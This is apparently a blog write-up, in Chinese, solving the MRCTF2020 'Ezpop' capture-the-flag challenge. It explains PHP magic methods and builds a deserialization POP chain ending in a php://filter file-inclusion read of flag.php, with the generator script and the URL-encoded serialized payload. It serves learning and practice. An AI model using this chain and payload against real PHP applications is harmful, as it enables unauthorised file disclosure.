CTF | 8分钟
MRCTF2020 Ezpop
四月 29, 2021
WEB POP链 魔术方法 文件包含

打开靶机,哇,直接给源码

这道题的知识点是利用php魔术方法的相互关联,构造pop链,其实有的地方没太懂,群里Y1ng大佬还回复我了,好兴奋,这题他的wp也看过,接下来就按我的理解写

知道我对这道题理解多么蠢吗?简直蠢得不可理喻,我以为代码审计,读懂代码会和上次绕过一样的类型,后来证明我真的蠢,给大家看看我的代码审计

我是真得蠢。。。不说了,先来讲一波php魔术方法

__construct 当一个对象创建时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __get() 用于从不可访问的属性读取数据 #难以访问包括:(1)私有属性,(2)没有初始化的属性 __invoke() 当脚本尝试将对象调用为函数时触发

1.上面的提示说flag在flag.php里,可知这里存在文件包含,而源码中能使用文件包含的只有Modifier类里的include函数,而它所在的append方法,在下面的__invoke()方法里被调用了。所以我们需要调用__invoke()方法。

2.如何触发__invoke方法?这个魔术方法我在上面已经已经说了需要把对象当函数用的时候触发,纵观整块代码。只有Test类里的__get()方法可以利用,因为它里面$function()意味着把$function当作函数使用,那我们只需要将$this->p弄成对象就行。现在我们需要考虑如何调用__get()

3.已知__get()方法需要调用不可访问的属性触发,代码里调用属性的地方都没问题,但有一个__toString()方法里的$this->str->source貌似可以用,其他的对象调用属性时都是对的,但是这里,它居然调用属性的属性,那我们把$this->str声明为一个没有source属性的类对象即可,这里用的类是Test,因为Test里有__get()方法。我们需要调用__toString()方法了

4.对象被当作一个字符串用时才能触发__toString方法,那__wakeup里的正则对比那句代码合适,我们只需要把$this->source声明为一个对象即可

5.如何触发__wakeup?调用反序列化时触发,代码最下面传值时有unserialize函数,只要向pop传值即可。

向pop传值→触发unserialize函数→触发__wakeup→触发对象当作字符串用→触发__toString→触发调用不可读取属性→触发__get→触发对象当作函数使用→触发__invoke→调用append,append里有include文件包含

从反序列化进程开始分析,首先反序列化之后会触发__wakeup(),接着__wakeup()又会直接触发__tostring(),从而访问str的成员source,这时如果我们让str等于Test类对象,由于Test中没有source,就会触发__get(),将$p以函数的形式返回,而我们再让$p等于Modifier的话,__invoke()方法就会触发,从而自动调用append函数包含flag.php

php
 1<?php
 2class Modifier {
 3    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
 4}
 5
 6class Show{
 7    public $source;
 8    public $str;
 9
10}
11
12class Test{
13    public $p;
14}
15$a=new Show();
16$a->source=new Show();
17$a->source->str=new Test();
18$a->source->str->p=new Modifier();
19echo urlencode(serialize($a));

输出为

bash
1O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

传入pop

把返回值base64解码

得出flag,还是不太懂,一个pop链搞得身心俱疲。

明天周五,上午Java课上完就五一九天假了,待在工作室恶补吧,多练,毫无技术,蓝帽杯啥都不会,吹牛要面子倒是挺强。好烦。